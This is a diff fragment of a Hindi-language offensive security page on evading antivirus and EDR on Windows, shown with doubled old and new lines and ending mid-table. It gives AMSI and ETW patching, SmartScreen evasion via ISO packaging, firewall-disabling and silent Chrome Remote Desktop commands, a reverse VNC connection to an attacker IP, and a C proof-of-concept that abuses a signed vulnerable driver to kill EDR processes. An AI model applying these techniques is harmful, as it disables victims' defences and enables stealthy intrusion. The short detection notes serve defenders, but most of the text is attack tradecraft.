आप **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** और **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** जैसे उपकरणों का उपयोग करके वर्तमान प्रक्रिया की मेमोरी से पहचानी गई AMSI सिग्नेचर को हटा सकते हैं। यह उपकरण वर्तमान प्रक्रिया की मेमोरी में AMSI सिग्नेचर को स्कैन करके और फिर इसे NOP निर्देशों के साथ ओवरराइट करके प्रभावी रूप से इसे मेमोरी से हटा देता है।
|
||||
|
||||
**AV/EDR उत्पाद जो AMSI का उपयोग करते हैं**
|
||||
**AV/EDR products that uses AMSI**
|
||||
|
||||
आप **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)** में AMSI का उपयोग करने वाले AV/EDR उत्पादों की सूची पा सकते हैं।
|
||||
|
||||
**Powershell संस्करण 2 का उपयोग करें**
|
||||
**Use Powershell version 2**
|
||||
यदि आप PowerShell संस्करण 2 का उपयोग करते हैं, तो AMSI लोड नहीं होगा, इसलिए आप अपने स्क्रिप्ट को AMSI द्वारा स्कैन किए बिना चला सकते हैं। आप ऐसा कर सकते हैं:
|
||||
```bash
|
||||
powershell.exe -version 2
|
||||
@ -233,11 +233,11 @@ PowerShell लॉगिंग को बायपास करने के ल
|
||||
- [**ConfuserEx**](https://github.com/yck1509/ConfuserEx): यह .NET अनुप्रयोगों के लिए एक शानदार ओपन-सोर्स ऑबफस्केटर है। यह नियंत्रण प्रवाह ऑबफस्केशन, एंटी-डीबगिंग, एंटी-टैम्परिंग, और स्ट्रिंग एन्क्रिप्शन जैसी विभिन्न सुरक्षा तकनीकों की पेशकश करता है। यह अनुशंसित है क्योंकि यह कोड के विशिष्ट टुकड़ों को ऑबफस्केट करने की अनुमति देता है।
|
||||
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# ऑबफस्केटर**
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): इस परियोजना का उद्देश्य [LLVM](http://www.llvm.org/) संकलन सूट का एक ओपन-सोर्स फोर्क प्रदान करना है जो [कोड ऑबफस्केशन](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) और टैम्पर-प्रूफिंग के माध्यम से सॉफ़्टवेयर सुरक्षा को बढ़ा सके।
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator यह प्रदर्शित करता है कि `C++11/14` भाषा का उपयोग करके, संकलन के समय, बिना किसी बाहरी टूल का उपयोग किए और बिना संकलक को संशोधित किए ऑबफस्केटेड कोड कैसे उत्पन्न किया जाए।
|
||||
- [**obfy**](https://github.com/fritzone/obfy): C++ टेम्पलेट मेटाप्रोग्रामिंग फ्रेमवर्क द्वारा उत्पन्न ऑबफस्केटेड ऑपरेशनों की एक परत जोड़ें जो एप्लिकेशन को क्रैक करने की कोशिश कर रहे व्यक्ति के लिए जीवन को थोड़ा कठिन बना देगी।
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator दिखाता है कि कैसे `C++11/14` भाषा का उपयोग करके, संकलन समय पर, बिना किसी बाहरी टूल का उपयोग किए और बिना संकलक को संशोधित किए, ऑबफस्केटेड कोड उत्पन्न किया जा सकता है।
|
||||
- [**obfy**](https://github.com/fritzone/obfy): C++ टेम्पलेट मेटाप्रोग्रामिंग ढांचे द्वारा उत्पन्न ऑबफस्केटेड ऑपरेशनों की एक परत जोड़ें जो एप्लिकेशन को क्रैक करने की कोशिश कर रहे व्यक्ति के लिए जीवन को थोड़ा कठिन बना देगी।
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz एक x64 बाइनरी ऑबफस्केटर है जो विभिन्न प्रकार की pe फ़ाइलों को ऑबफस्केट करने में सक्षम है, जिसमें: .exe, .dll, .sys शामिल हैं।
|
||||
- [**metame**](https://github.com/a0rtega/metame): Metame एक साधारण मेटामॉर्फिक कोड इंजन है जो मनमाने निष्पादन योग्य के लिए है।
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator एक बारीक-बारीक कोड ऑबफस्केशन फ्रेमवर्क है जो ROP (रिटर्न-ओरिएंटेड प्रोग्रामिंग) का उपयोग करता है। ROPfuscator एक प्रोग्राम को असेंबली कोड स्तर पर ऑबफस्केट करता है, सामान्य नियंत्रण प्रवाह की हमारी स्वाभाविक धारणा को बाधित करता है।
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator एक बारीक-बारीक कोड ऑबफस्केशन ढांचा है जो ROP (रिटर्न-ओरिएंटेड प्रोग्रामिंग) का उपयोग करता है। ROPfuscator एक प्रोग्राम को असेंबली कोड स्तर पर ऑबफस्केट करता है, सामान्य नियंत्रण प्रवाह की हमारी स्वाभाविक धारणा को बाधित करता है।
|
||||
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt एक .NET PE क्रिप्टर है जो Nim में लिखा गया है।
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor मौजूदा EXE/DLL को शेलकोड में परिवर्तित करने और फिर उन्हें लोड करने में सक्षम है।
|
||||
|
||||
@ -245,11 +245,11 @@ PowerShell लॉगिंग को बायपास करने के ल
|
||||
|
||||
आपने इंटरनेट से कुछ निष्पादन योग्य फ़ाइलें डाउनलोड करते समय और उन्हें निष्पादित करते समय यह स्क्रीन देखी होगी।
|
||||
|
||||
Microsoft Defender SmartScreen एक सुरक्षा तंत्र है जिसका उद्देश्य अंत उपयोगकर्ता को संभावित रूप से दुर्भावनापूर्ण अनुप्रयोगों को चलाने से बचाना है।
|
||||
Microsoft Defender SmartScreen एक सुरक्षा तंत्र है जिसका उद्देश्य अंतिम उपयोगकर्ता को संभावित रूप से दुर्भावनापूर्ण अनुप्रयोगों को चलाने से बचाना है।
|
||||
|
||||
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SmartScreen मुख्य रूप से एक प्रतिष्ठा-आधारित दृष्टिकोण के साथ काम करता है, जिसका अर्थ है कि असामान्य रूप से डाउनलोड की गई अनुप्रयोग SmartScreen को ट्रिगर करेगी, जिससे अंत उपयोगकर्ता को फ़ाइल निष्पादित करने से रोक दिया जाएगा (हालांकि फ़ाइल को अभी भी More Info -> Run anyway पर क्लिक करके निष्पादित किया जा सकता है)।
|
||||
SmartScreen मुख्य रूप से एक प्रतिष्ठा-आधारित दृष्टिकोण के साथ काम करता है, जिसका अर्थ है कि असामान्य रूप से डाउनलोड की गई अनुप्रयोग SmartScreen को ट्रिगर करेगी, जिससे अंतिम उपयोगकर्ता को फ़ाइल निष्पादित करने से रोक दिया जाएगा (हालांकि फ़ाइल को अभी भी More Info -> Run anyway पर क्लिक करके निष्पादित किया जा सकता है)।
|
||||
|
||||
**MoTW** (Mark of The Web) एक [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) है जिसका नाम Zone.Identifier है, जो इंटरनेट से फ़ाइलें डाउनलोड करते समय स्वचालित रूप से बनाया जाता है, साथ ही उस URL के साथ जिससे इसे डाउनलोड किया गया था।
|
||||
|
||||
@ -258,7 +258,7 @@ SmartScreen मुख्य रूप से एक प्रतिष्ठा-
|
||||
> [!TIP]
|
||||
> यह ध्यान रखना महत्वपूर्ण है कि **विश्वसनीय** साइनिंग सर्टिफिकेट के साथ साइन की गई निष्पादन योग्य फ़ाइलें **SmartScreen को ट्रिगर नहीं करेंगी**।
|
||||
|
||||
आपके पेलोड को Mark of The Web प्राप्त करने से रोकने का एक बहुत प्रभावी तरीका उन्हें किसी प्रकार के कंटेनर जैसे ISO के अंदर पैकेज करना है। ऐसा इसलिए होता है क्योंकि Mark-of-the-Web (MOTW) **non NTFS** वॉल्यूम पर लागू **नहीं** किया जा सकता है।
|
||||
आपके पेलोड को Mark of The Web प्राप्त करने से रोकने का एक बहुत प्रभावी तरीका उन्हें किसी प्रकार के कंटेनर जैसे ISO के अंदर पैकेज करना है। ऐसा इसलिए होता है क्योंकि Mark-of-the-Web (MOTW) **non NTFS** वॉल्यूम पर लागू नहीं किया जा सकता है।
|
||||
|
||||
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -286,7 +286,7 @@ Adding file: /TotallyLegitApp.exe
|
||||
|
||||
[+] Generated file written to (size: 3420160): container.iso
|
||||
```
|
||||
Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
|
||||
यहाँ SmartScreen को ISO फ़ाइलों के अंदर पैकेज किए गए पेलोड्स के माध्यम से बायपास करने का एक डेमो है, जिसका उपयोग [PackMyPayload](https://github.com/mgeeky/PackMyPayload/) द्वारा किया गया है।
|
||||
|
||||
<figure><img src="../images/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -294,7 +294,7 @@ Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files
|
||||
|
||||
Event Tracing for Windows (ETW) एक शक्तिशाली लॉगिंग तंत्र है जो Windows में अनुप्रयोगों और सिस्टम घटकों को **इवेंट्स लॉग** करने की अनुमति देता है। हालाँकि, इसका उपयोग सुरक्षा उत्पादों द्वारा दुर्भावनापूर्ण गतिविधियों की निगरानी और पहचान के लिए भी किया जा सकता है।
|
||||
|
||||
जैसे AMSI को अक्षम (बायपास) किया जाता है, वैसे ही उपयोगकर्ता स्थान प्रक्रिया के **`EtwEventWrite`** फ़ंक्शन को बिना किसी इवेंट को लॉग किए तुरंत लौटने के लिए भी बनाया जा सकता है। यह फ़ंक्शन को मेमोरी में पैच करके तुरंत लौटने के लिए किया जाता है, जिससे उस प्रक्रिया के लिए ETW लॉगिंग प्रभावी रूप से अक्षम हो जाती है।
|
||||
जैसे AMSI को अक्षम (बायपास) किया जाता है, वैसे ही उपयोगकर्ता स्थान प्रक्रिया के **`EtwEventWrite`** फ़ंक्शन को बिना किसी इवेंट को लॉग किए तुरंत लौटने के लिए भी बनाया जा सकता है। यह मेमोरी में फ़ंक्शन को पैच करके किया जाता है ताकि यह तुरंत लौट सके, प्रभावी रूप से उस प्रक्रिया के लिए ETW लॉगिंग को अक्षम कर देता है।
|
||||
|
||||
आप अधिक जानकारी पा सकते हैं **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) और [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**।
|
||||
|
||||
@ -302,7 +302,7 @@ Event Tracing for Windows (ETW) एक शक्तिशाली लॉगि
|
||||
|
||||
C# बाइनरी को मेमोरी में लोड करना काफी समय से जाना जाता है और यह आपके पोस्ट-एक्सप्लॉइटेशन टूल्स को AV द्वारा पकड़े जाने के बिना चलाने का एक बहुत अच्छा तरीका है।
|
||||
|
||||
चूंकि पेलोड सीधे मेमोरी में लोड किया जाएगा बिना डिस्क को छुए, हमें पूरे प्रक्रिया के लिए AMSI को पैच करने के बारे में ही चिंता करनी होगी।
|
||||
चूंकि पेलोड सीधे मेमोरी में लोड किया जाएगा बिना डिस्क को छुए, हमें पूरे प्रक्रिया के लिए AMSI को पैच करने की चिंता करनी होगी।
|
||||
|
||||
अधिकांश C2 फ्रेमवर्क (sliver, Covenant, metasploit, CobaltStrike, Havoc, आदि) पहले से ही मेमोरी में सीधे C# असेंबली को निष्पादित करने की क्षमता प्रदान करते हैं, लेकिन ऐसा करने के विभिन्न तरीके हैं:
|
||||
|
||||
@ -314,7 +314,7 @@ C# बाइनरी को मेमोरी में लोड करना
|
||||
|
||||
- **Inline**
|
||||
|
||||
यह अपने पोस्ट-एक्सप्लॉइटेशन दुर्भावनापूर्ण कोड को **अपने ही प्रक्रिया में इंजेक्ट करने** के बारे में है। इस तरह, आप एक नया प्रक्रिया बनाने और AV द्वारा स्कैन होने से बच सकते हैं, लेकिन हानि यह है कि यदि आपके पेलोड के निष्पादन में कुछ गलत हो जाता है, तो आपके **बीकन को खोने की संभावना बहुत अधिक है** क्योंकि यह क्रैश हो सकता है।
|
||||
यह अपने स्वयं के प्रक्रिया में पोस्ट-एक्सप्लॉइटेशन दुर्भावनापूर्ण कोड को इंजेक्ट करने के बारे में है। इस तरह, आप एक नया प्रक्रिया बनाने और AV द्वारा स्कैन किए जाने से बच सकते हैं, लेकिन हानि यह है कि यदि आपके पेलोड के निष्पादन में कुछ गलत हो जाता है, तो **आपके बीकन को खोने की संभावना बहुत अधिक है** क्योंकि यह क्रैश हो सकता है।
|
||||
|
||||
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -325,17 +325,17 @@ C# बाइनरी को मेमोरी में लोड करना
|
||||
|
||||
## अन्य प्रोग्रामिंग भाषाओं का उपयोग करना
|
||||
|
||||
जैसा कि [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) में प्रस्तावित किया गया है, यह अन्य भाषाओं का उपयोग करके दुर्भावनापूर्ण कोड निष्पादित करना संभव है, जिससे समझौता की गई मशीन को **हमलावर द्वारा नियंत्रित SMB शेयर पर स्थापित इंटरप्रेटर वातावरण तक पहुंच** मिलती है।
|
||||
जैसा कि [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) में प्रस्तावित किया गया है, यह अन्य भाषाओं का उपयोग करके दुर्भावनापूर्ण कोड निष्पादित करना संभव है, जिससे समझौता की गई मशीन को **हमलावर द्वारा नियंत्रित SMB शेयर पर स्थापित इंटरप्रेटर वातावरण तक पहुंच मिलती है**।
|
||||
|
||||
इंटरप्रेटर बाइनरी और SMB शेयर पर वातावरण तक पहुंच की अनुमति देकर आप **समझौता की गई मशीन की मेमोरी में इन भाषाओं में मनमाना कोड निष्पादित कर सकते हैं।**
|
||||
इंटरप्रेटर बाइनरी और SMB शेयर पर वातावरण तक पहुंच की अनुमति देकर आप **इन भाषाओं में समझौता की गई मशीन की मेमोरी में मनमाने कोड को निष्पादित कर सकते हैं**।
|
||||
|
||||
रेपो इंगित करता है: डिफेंडर अभी भी स्क्रिप्ट को स्कैन करता है लेकिन Go, Java, PHP आदि का उपयोग करके हमारे पास **स्थिर हस्ताक्षरों को बायपास करने के लिए अधिक लचीलापन है।** इन भाषाओं में यादृच्छिक अन-ऑबफस्केटेड रिवर्स शेल स्क्रिप्ट के साथ परीक्षण सफल साबित हुआ है।
|
||||
रेपो इंगित करता है: डिफेंडर अभी भी स्क्रिप्ट को स्कैन करता है लेकिन Go, Java, PHP आदि का उपयोग करके हमारे पास **स्थिर हस्ताक्षरों को बायपास करने के लिए अधिक लचीलापन है**। इन भाषाओं में यादृच्छिक अन-ऑबफस्केटेड रिवर्स शेल स्क्रिप्ट के साथ परीक्षण सफल साबित हुआ है।
|
||||
|
||||
## TokenStomping
|
||||
|
||||
Token stomping एक तकनीक है जो एक हमलावर को **एक्सेस टोकन या सुरक्षा उत्पाद जैसे EDR या AV को हेरफेर करने** की अनुमति देती है, जिससे उन्हें इसके विशेषाधिकार को कम करने की अनुमति मिलती है ताकि प्रक्रिया न मरे लेकिन इसके पास दुर्भावनापूर्ण गतिविधियों की जांच करने की अनुमति न हो।
|
||||
Token stomping एक तकनीक है जो हमलावर को **एक्सेस टोकन या सुरक्षा उत्पाद जैसे EDR या AV को हेरफेर करने** की अनुमति देती है, जिससे उन्हें इसके विशेषाधिकार को कम करने की अनुमति मिलती है ताकि प्रक्रिया न मरे लेकिन इसके पास दुर्भावनापूर्ण गतिविधियों की जांच करने की अनुमति न हो।
|
||||
|
||||
इससे रोकने के लिए Windows **बाहरी प्रक्रियाओं** को सुरक्षा प्रक्रियाओं के टोकन पर हैंडल प्राप्त करने से रोक सकता है।
|
||||
इससे बचने के लिए Windows **बाहरी प्रक्रियाओं** को सुरक्षा प्रक्रियाओं के टोकन पर हैंडल प्राप्त करने से रोक सकता है।
|
||||
|
||||
- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
|
||||
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
|
||||
@ -348,8 +348,8 @@ Token stomping एक तकनीक है जो एक हमलावर
|
||||
जैसा कि [**इस ब्लॉग पोस्ट**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide) में वर्णित है, किसी पीसी पर Chrome Remote Desktop को तैनात करना और फिर इसका उपयोग करना और स्थिरता बनाए रखना आसान है:
|
||||
1. https://remotedesktop.google.com/ से डाउनलोड करें, "SSH के माध्यम से सेट अप करें" पर क्लिक करें, और फिर Windows के लिए MSI फ़ाइल पर क्लिक करें।
|
||||
2. पीड़ित (व्यवस्थापक की आवश्यकता) में चुपचाप इंस्टॉलर चलाएँ: `msiexec /i chromeremotedesktophost.msi /qn`
|
||||
3. Chrome Remote Desktop पृष्ठ पर वापस जाएं और अगले पर क्लिक करें। विज़ार्ड फिर आपसे अधिकृत करने के लिए कहेगा; जारी रखने के लिए अधिकृत बटन पर क्लिक करें।
|
||||
4. कुछ समायोजनों के साथ दिए गए पैरामीटर को निष्पादित करें: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (पिन पैरामीटर पर ध्यान दें जो GUI का उपयोग किए बिना पिन सेट करने की अनुमति देता है)।
|
||||
3. Chrome Remote Desktop पृष्ठ पर वापस जाएँ और अगले पर क्लिक करें। विज़ार्ड फिर आपसे अधिकृत करने के लिए कहेगा; जारी रखने के लिए अधिकृत बटन पर क्लिक करें।
|
||||
4. कुछ समायोजनों के साथ दिए गए पैरामीटर को निष्पादित करें: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (ध्यान दें कि पिन पैरामीटर जो GUI का उपयोग किए बिना पिन सेट करने की अनुमति देता है)।
|
||||
|
||||
## उन्नत बचाव
|
||||
|
||||
@ -363,7 +363,7 @@ Token stomping एक तकनीक है जो एक हमलावर
|
||||
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
|
||||
{{#endref}}
|
||||
|
||||
यह [@mariuszbit](https://twitter.com/mariuszbit) से बचाव में गहराई के बारे में एक और शानदार वार्ता है।
|
||||
यह [@mariuszbit](https://twitter.com/mariuszbit) से बचाव की गहराई पर एक और शानदार वार्ता है।
|
||||
|
||||
{{#ref}}
|
||||
https://www.youtube.com/watch?v=IbA7Ung39o4
|
||||
@ -373,10 +373,10 @@ https://www.youtube.com/watch?v=IbA7Ung39o4
|
||||
|
||||
### **जांचें कि डिफेंडर कौन से भागों को दुर्भावनापूर्ण मानता है**
|
||||
|
||||
आप [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) का उपयोग कर सकते हैं जो **बाइनरी के भागों को हटा देगा** जब तक कि यह **नहीं पता लगा लेता कि डिफेंडर** किस भाग को दुर्भावनापूर्ण मानता है और इसे आपके लिए विभाजित कर देगा।\
|
||||
एक और उपकरण जो **समान कार्य करता है वह है** [**avred**](https://github.com/dobin/avred) जिसमें [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) पर सेवा प्रदान की जाती है।
|
||||
आप [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) का उपयोग कर सकते हैं जो **बाइनरी के भागों को हटा देगा** जब तक कि यह **नहीं पता चलता कि डिफेंडर** किस भाग को दुर्भावनापूर्ण मानता है और इसे आपके लिए विभाजित करता है।\
|
||||
एक और उपकरण जो **समान कार्य करता है वह है** [**avred**](https://github.com/dobin/avred) जिसमें एक ओपन वेब सेवा है जो [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) में सेवा प्रदान करती है।
|
||||
|
||||
### **Telnet Server**
|
||||
### **Telnet सर्वर**
|
||||
|
||||
Windows10 तक, सभी Windows में एक **Telnet सर्वर** था जिसे आप (व्यवस्थापक के रूप में) स्थापित कर सकते थे:
|
||||
```bash
|
||||
@ -401,17 +401,17 @@ netsh advfirewall set allprofiles state off
|
||||
- _VNC Password_ में एक पासवर्ड सेट करें
|
||||
- _View-Only Password_ में एक पासवर्ड सेट करें
|
||||
|
||||
फिर, बाइनरी _**winvnc.exe**_ और **नए** बनाए गए फ़ाइल _**UltraVNC.ini**_ को **पीड़ित** के अंदर ले जाएं
|
||||
फिर, बाइनरी _**winvnc.exe**_ और **नए** बनाए गए फ़ाइल _**UltraVNC.ini**_ को **शिकार** के अंदर ले जाएं
|
||||
|
||||
#### **रिवर्स कनेक्शन**
|
||||
|
||||
**हमलावर** को अपने **होस्ट** के अंदर बाइनरी `vncviewer.exe -listen 5900` चलानी चाहिए ताकि यह रिवर्स **VNC कनेक्शन** को पकड़ने के लिए **तैयार** हो सके। फिर, **पीड़ित** के अंदर: winvnc डेमन शुरू करें `winvnc.exe -run` और चलाएं `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
|
||||
**हमलावर** को अपने **होस्ट** के अंदर बाइनरी `vncviewer.exe -listen 5900` चलानी चाहिए ताकि यह रिवर्स **VNC कनेक्शन** को पकड़ने के लिए **तैयार** हो सके। फिर, **शिकार** के अंदर: winvnc डेमन `winvnc.exe -run` शुरू करें और `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900` चलाएं
|
||||
|
||||
**चेतावनी:** गुप्तता बनाए रखने के लिए आपको कुछ चीजें नहीं करनी चाहिए
|
||||
|
||||
- यदि `winvnc` पहले से चल रहा है तो इसे शुरू न करें या आप [पॉपअप](https://i.imgur.com/1SROTTl.png) को ट्रिगर करेंगे। जांचें कि यह चल रहा है `tasklist | findstr winvnc`
|
||||
- यदि उसी निर्देशिका में `UltraVNC.ini` नहीं है तो `winvnc` शुरू न करें या यह [कॉन्फ़िग विंडो](https://i.imgur.com/rfMQWcf.png) को खोल देगा
|
||||
- मदद के लिए `winvnc -h` न चलाएं या आप [पॉपअप](https://i.imgur.com/oc18wcu.png) को ट्रिगर करेंगे
|
||||
- यदि `winvnc` पहले से चल रहा है तो इसे शुरू न करें या आप [पॉपअप](https://i.imgur.com/1SROTTl.png) ट्रिगर करेंगे। जांचें कि यह चल रहा है `tasklist | findstr winvnc` के साथ
|
||||
- यदि `UltraVNC.ini` उसी निर्देशिका में नहीं है तो `winvnc` शुरू न करें या यह [कॉन्फ़िग विंडो](https://i.imgur.com/rfMQWcf.png) को खोलेगा
|
||||
- मदद के लिए `winvnc -h` न चलाएं या आप [पॉपअप](https://i.imgur.com/oc18wcu.png) ट्रिगर करेंगे
|
||||
|
||||
### GreatSCT
|
||||
|
||||
@ -526,7 +526,7 @@ catch (Exception err) { }
|
||||
}
|
||||
}
|
||||
```
|
||||
### C# का उपयोग करते हुए कंपाइलर
|
||||
### C# का उपयोग करते हुए संकलक
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
|
||||
```
|
||||
@ -592,24 +592,24 @@ https://github.com/praetorian-code/vulcan
|
||||
|
||||
## Bring Your Own Vulnerable Driver (BYOVD) – Killing AV/EDR From Kernel Space
|
||||
|
||||
Storm-2603 ने **Antivirus Terminator** नामक एक छोटे कंसोल उपयोगिता का उपयोग किया ताकि रैंसमवेयर को गिराने से पहले एंडपॉइंट सुरक्षा को अक्षम किया जा सके। यह उपकरण **अपना खुद का कमजोर लेकिन *साइन किया हुआ* ड्राइवर** लाता है और इसका दुरुपयोग करता है ताकि विशेषाधिकार प्राप्त कर्नेल संचालन किए जा सकें जिन्हें Protected-Process-Light (PPL) AV सेवाएँ भी ब्लॉक नहीं कर सकतीं।
|
||||
Storm-2603 ने **Antivirus Terminator** नामक एक छोटे कंसोल उपयोगिता का उपयोग किया ताकि रैंसमवेयर को गिराने से पहले एंडपॉइंट सुरक्षा को निष्क्रिय किया जा सके। यह उपकरण **अपना खुद का कमजोर लेकिन *साइन किया हुआ* ड्राइवर** लाता है और इसका दुरुपयोग करता है ताकि विशेषाधिकार प्राप्त कर्नेल संचालन किए जा सकें जिन्हें Protected-Process-Light (PPL) AV सेवाएँ भी ब्लॉक नहीं कर सकतीं।
|
||||
|
||||
Key take-aways
|
||||
1. **Signed driver**: डिस्क पर वितरित फ़ाइल `ServiceMouse.sys` है, लेकिन बाइनरी वास्तव में Antiy Labs के “System In-Depth Analysis Toolkit” से वैध रूप से साइन किया गया ड्राइवर `AToolsKrnl64.sys` है। क्योंकि ड्राइवर में एक वैध Microsoft हस्ताक्षर है, यह तब भी लोड होता है जब Driver-Signature-Enforcement (DSE) सक्षम होता है।
|
||||
2. **Service installation**:
|
||||
मुख्य बिंदु
|
||||
1. **साइन किया हुआ ड्राइवर**: डिस्क पर वितरित फ़ाइल `ServiceMouse.sys` है, लेकिन बाइनरी वास्तव में Antiy Labs के “System In-Depth Analysis Toolkit” से वैध रूप से साइन किया गया ड्राइवर `AToolsKrnl64.sys` है। क्योंकि ड्राइवर में एक वैध Microsoft हस्ताक्षर है, यह तब भी लोड होता है जब Driver-Signature-Enforcement (DSE) सक्षम होता है।
|
||||
2. **सेवा स्थापना**:
|
||||
```powershell
|
||||
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
|
||||
sc start ServiceMouse
|
||||
```
|
||||
पहली पंक्ति ड्राइवर को **कर्नेल सेवा** के रूप में पंजीकृत करती है और दूसरी इसे शुरू करती है ताकि `\\.\ServiceMouse` उपयोगकर्ता भूमि से सुलभ हो सके।
|
||||
3. **IOCTLs exposed by the driver**
|
||||
| IOCTL code | Capability |
|
||||
3. **ड्राइवर द्वारा उजागर IOCTLs**
|
||||
| IOCTL कोड | क्षमता |
|
||||
|-----------:|-----------------------------------------|
|
||||
| `0x99000050` | PID द्वारा एक मनमाना प्रक्रिया को समाप्त करें (Defender/EDR सेवाओं को समाप्त करने के लिए उपयोग किया जाता है) |
|
||||
| `0x990000D0` | डिस्क पर एक मनमाना फ़ाइल को हटाएं |
|
||||
| `0x990001D0` | ड्राइवर को अनलोड करें और सेवा को हटा दें |
|
||||
|
||||
Minimal C proof-of-concept:
|
||||
न्यूनतम C प्रमाण-कोशिश:
|
||||
```c
|
||||
#include <windows.h>
|
||||
|
||||
@ -621,14 +621,54 @@ CloseHandle(hDrv);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
4. **Why it works**: BYOVD पूरी तरह से उपयोगकर्ता-मोड सुरक्षा को छोड़ देता है; कर्नेल में निष्पादित कोड *संरक्षित* प्रक्रियाओं को खोल सकता है, उन्हें समाप्त कर सकता है, या PPL/PP, ELAM या अन्य हार्डनिंग सुविधाओं की परवाह किए बिना कर्नेल वस्तुओं के साथ छेड़छाड़ कर सकता है।
|
||||
4. **यह क्यों काम करता है**: BYOVD पूरी तरह से उपयोगकर्ता-मोड सुरक्षा को छोड़ देता है; कर्नेल में निष्पादित कोड *संरक्षित* प्रक्रियाओं को खोल सकता है, उन्हें समाप्त कर सकता है, या PPL/PP, ELAM या अन्य हार्डनिंग सुविधाओं की परवाह किए बिना कर्नेल वस्तुओं के साथ छेड़छाड़ कर सकता है।
|
||||
|
||||
Detection / Mitigation
|
||||
• Microsoft की कमजोर-ड्राइवर ब्लॉक सूची (`HVCI`, `Smart App Control`) को सक्षम करें ताकि Windows `AToolsKrnl64.sys` को लोड करने से मना कर दे।
|
||||
• नए *कर्नेल* सेवाओं के निर्माण की निगरानी करें और जब कोई ड्राइवर एक विश्व-लिखने योग्य निर्देशिका से लोड किया जाता है या अनुमति सूची में नहीं होता है तो अलर्ट करें।
|
||||
• कस्टम डिवाइस ऑब्जेक्ट्स के लिए उपयोगकर्ता-मोड हैंडल की निगरानी करें, इसके बाद संदिग्ध `DeviceIoControl` कॉल्स के साथ।
|
||||
पता लगाना / शमन
|
||||
• Microsoft की कमजोर-ड्राइवर ब्लॉक सूची (`HVCI`, `Smart App Control`) को सक्षम करें ताकि Windows `AToolsKrnl64.sys` को लोड करने से मना कर दे।
|
||||
• नए *कर्नेल* सेवाओं के निर्माण की निगरानी करें और जब कोई ड्राइवर एक विश्व-लिखने योग्य निर्देशिका से लोड किया जाए या अनुमति-सूची में न हो तो अलर्ट करें।
|
||||
• कस्टम डिवाइस ऑब्जेक्ट्स के लिए उपयोगकर्ता-मोड हैंडल की निगरानी करें, इसके बाद संदिग्ध `DeviceIoControl` कॉल्स के साथ।
|
||||
|
||||
## References
|
||||
### Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching
|
||||
|
||||
Zscaler का **Client Connector** डिवाइस-पोस्टर नियमों को स्थानीय रूप से लागू करता है और परिणामों को अन्य घटकों के साथ संवाद करने के लिए Windows RPC पर निर्भर करता है। दो कमजोर डिज़ाइन विकल्प एक पूर्ण बायपास को संभव बनाते हैं:
|
||||
|
||||
1. पोस्टर मूल्यांकन **पूरी तरह से क्लाइंट-साइड** होता है (एक बूलियन सर्वर को भेजा जाता है)।
|
||||
2. आंतरिक RPC एंडपॉइंट केवल यह सत्यापित करते हैं कि कनेक्टिंग निष्पादन योग्य **Zscaler द्वारा साइन किया गया है** (के माध्यम से `WinVerifyTrust`)।
|
||||
|
||||
**चार साइन किए गए बाइनरीज़ को डिस्क पर पैच करके** दोनों तंत्रों को निष्क्रिय किया जा सकता है:
|
||||
|
||||
| बाइनरी | मूल तर्क पैच किया गया | परिणाम |
|
||||
|--------|------------------------|---------|
|
||||
